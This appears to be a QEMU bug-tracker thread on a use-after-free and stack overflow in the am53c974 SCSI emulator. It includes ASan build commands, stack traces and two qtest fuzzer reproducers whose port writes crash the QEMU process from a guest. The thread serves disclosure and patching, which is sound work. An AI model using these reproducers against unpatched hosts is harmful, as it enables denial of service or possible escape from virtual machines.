QEMU: use after free vulnerability in esp_do_dma() in hw/scsi/esp.c A use-after-free vulnerability was found in the am53c974 SCSI host bus adapter emulation of QEMU. It could occur in the esp_do_dma() function in hw/scsi/esp.c while handling the 'Information Transfer' command (CMD_TI). A privileged guest user may abuse this flaw to crash the QEMU process on the host, resulting in a denial of service or potential code execution with the privileges of the QEMU process. This issue was reported by Cheolwoo Myung (Seoul National University). Original report: Using hypervisor fuzzer, hyfuzz, I found a use-after-free issue in am53c974 emulator of QEMU enabled ASan. It occurs while transferring information, as it does not check the buffer to be transferred. A malicious guest user/process could use this flaw to crash the QEMU process resulting in DoS scenario. To reproduce this issue, please run the QEMU with the following command line. # To enable ASan option, please set configuration with the following $ ./configure --target-list=i386-softmmu --disable-werror --enable-sanitizers $ make # To reproduce this issue, please run the QEMU process with the following command line $ ./qemu-system-i386 -m 512 -drive file=./hyfuzz.img,index=0,media=disk,format=raw \ -device am53c974,id=scsi -device scsi-hd,drive=SysDisk \ -drive id=SysDisk,if=none,file=./disk.img Please find attached the disk images to reproduce this issue. RHBZ: https://bugzilla.redhat.com/show_bug.cgi?id=1909996 Looks the same, or very similar to this one: /* * Autogenerated Fuzzer Test Case * * This work is licensed under the terms of the GNU GPL, version 2 or * later. See the COPYING file in the top-level directory. */ #include "qemu/osdep.h" #include "libqos/libqtest.h" /* * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, \ * -m 4G -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio * outl 0xcf8 0x80001010 * outl 0xcfc 0xc000 * outl 0xcf8 0x80001004 * outw 0xcfc 0x01 * outl 0xc046 0x02 * outl 0xc03f 0x0300 * outw 0xc00b 0x4300 * outl 0xc00b 0x9000 * EOF */ static void test_fuzz(void) { QTestState *s = qtest_init( "-display none , -m 4G -device am53c974,id=scsi -device " "scsi-hd,drive=disk0 -drive " "id=disk0,if=none,file=null-co://,format=raw -nodefaults"); qtest_outl(s, 0xcf8, 0x80001010); qtest_outl(s, 0xcfc, 0xc000); qtest_outl(s, 0xcf8, 0x80001004); qtest_outw(s, 0xcfc, 0x01); qtest_outl(s, 0xc046, 0x02); qtest_outl(s, 0xc03f, 0x0300); qtest_outw(s, 0xc00b, 0x4300); qtest_outl(s, 0xc00b, 0x9000); qtest_quit(s); } int main(int argc, char **argv) { const char *arch = qtest_get_arch(); g_test_init(&argc, &argv, NULL); if (strcmp(arch, "i386") == 0) { qtest_add_func("fuzz/test_fuzz", test_fuzz); } return g_test_run(); } Technically, the first one is a heap use-after-free, while the second a stack buffer overflow. They could be two different manifestations of the same issue; they both originate from handle_ti() and the root cause may be the same. Heap uaf: ================================================================= ==129653==ERROR: AddressSanitizer: heap-use-after-free on address 0x6290000b5000 at pc 0x7f0c3d947dd3 bp 0x7f0c13bfdac0 sp 0x7f0c13bfd270 READ of size 27 at 0x6290000b5000 thread T7 #0 0x7f0c3d947dd2 in __interceptor_memcpy (/lib64/libasan.so.6+0x39dd2) #1 0x562c1c7292b2 in flatview_write_continue softmmu/physmem.c:2781 #2 0x562c1c729589 in flatview_write softmmu/physmem.c:2816 #3 0x562c1c729ef7 in address_space_write softmmu/physmem.c:2908 #4 0x562c1c729faf in address_space_rw softmmu/physmem.c:2918 #5 0x562c1c217754 in dma_memory_rw_relaxed include/sysemu/dma.h:8 #6 0x562c1c2177a1 in dma_memory_rw include/sysemu/dma.h:127 #7 0x562c1c21791b in pci_dma_rw include/hw/pci/pci.h:803 #8 0x562c1c21b6e3 in esp_pci_dma_memory_rw hw/scsi/esp-pci.c:283 #9 0x562c1c21ba6e in esp_pci_dma_memory_write hw/scsi/esp-pci.c:302 #10 0x562c1c428685 in esp_do_dma hw/scsi/esp.c:526 #11 0x562c1c429cb5 in handle_ti hw/scsi/esp.c:629 ... Stack bof: ================================================================= ==138588==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc8a90c300 at pc 0x559b1de0780e bp 0x7ffc8a90bd10 sp 0x7ffc8a90bd08 WRITE of size 4 at 0x7ffc8a90c300 thread T0 #0 0x559b1de0780d in stl_he_p include/qemu/bswap.h:353 #1 0x559b1de07dec in stn_he_p include/qemu/bswap.h:486 #2 0x559b1de23e47 in flatview_read_continue softmmu/physmem.c:2841 #3 0x559b1de24215 in flatview_read softmmu/physmem.c:2879 #4 0x559b1de243b5 in address_space_read_full softmmu/physmem.c:2892 #5 0x559b1de2462c in address_space_rw softmmu/physmem.c:2920 #6 0x559b1d1ec514 in dma_memory_rw_relaxed include/sysemu/dma.h:88 #7 0x559b1d1ec561 in dma_memory_rw include/sysemu/dma.h:127 #8 0x559b1d1ec6db in pci_dma_rw include/hw/pci/pci.h:803 #9 0x559b1d1f04a3 in esp_pci_dma_memory_rw hw/scsi/esp-pci.c:283 #10 0x559b1d1f07f8 in esp_pci_dma_memory_read hw/scsi/esp-pci.c:296 #11 0x559b1d66fab1 in esp_do_dma hw/scsi/esp.c:576 #12 0x559b1d6746e1 in handle_ti hw/scsi/esp.c:845 ... Note that the use-after-free was found in v5.2.0 and, as far as I can tell, is not reproducible anymore on master. The ESP/NCR53C9x emulator (hw/scsi/esp.c) underwent several changes since v5.2.0. By git-bisecting, it looks like the original reproducer is neutralized after commit [1]. However, the qtest reproducer (comment #3) seems to be working fine on master as of today. [1] https://git.qemu.org/?p=qemu.git;a=commit;h=bb0bc7bbc9764a5e9e81756819838c5db88652b8 Hi Mauro, Oops... I missed that it was a stack-overflow. I went through my list of crashes, and the closest one I can find is a heap UAF, but it is a write, rather than a read: /* * Autogenerated Fuzzer Test Case * * Copyright (c) 2021 * * This work is licensed under the terms of the GNU GPL, version 2 or * later. See the COPYING file in the top-level directory. */ #include "qemu/osdep.h" #include "libqos/libqtest.h" /* * cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, \ * -m 4G -device am53c974,id=scsi -device scsi-hd,drive=disk0 -drive \ * id=disk0,if=none,file=null-co://,format=raw -nodefaults -qtest stdio * outl 0xcf8 0x80001010 * outl 0xcfc 0xc000 * outl 0xcf8 0x80001004 * outw 0xcfc 0x05 * outb 0xc046 0x02 * outl 0xc00b 0xc100 * outl 0xc040 0x03 * outl 0xc040 0x03 * write 0x0 0x1 0x41 * outl 0xc00b 0xc100 * outw 0xc040 0x02 * outl 0xc00b 0x9000 * EOF */ static void test_fuzz(void) { QTestState *s = qtest_init( "-display none , -m 4G -device am53c974,id=scsi -device " "scsi-hd,drive=disk0 -drive " "id=disk0,if=none,file=null-co://,format=raw -nodefaults"); qtest_outl(s, 0xcf8, 0x80001010); qtest_outl(s, 0xcfc, 0xc000); qtest_outl(s, 0xcf8, 0x80001004); qtest_outw(s, 0xcfc, 0x05); qtest_outb(s, 0xc046, 0x02); qtest_outl(s, 0xc00b, 0xc100); qtest_outl(s, 0xc040, 0x03); qtest_outl(s, 0xc040, 0x03); qtest_bufwrite(s, 0x0, "\x41", 0x1); qtest_outl(s, 0xc00b, 0xc100); qtest_outw(s, 0xc040, 0x02); qtest_outl(s, 0xc00b, 0x9000); qtest_quit(s); } int main(int argc, char **argv) { const char *arch = qtest_get_arch(); g_test_init(&argc, &argv, NULL); if (strcmp(arch, "i386") == 0) { qtest_add_func("fuzz/test_fuzz", test_fuzz); } return g_test_run(); } Thank you both for the reproducers. Please see the proposed patchset here: https://lists.gnu.org/archive/html/qemu-devel/2021-03/msg06063.html On Wednesday, 17 March, 2021, 10:26:36 pm IST, Cheolwoo Myung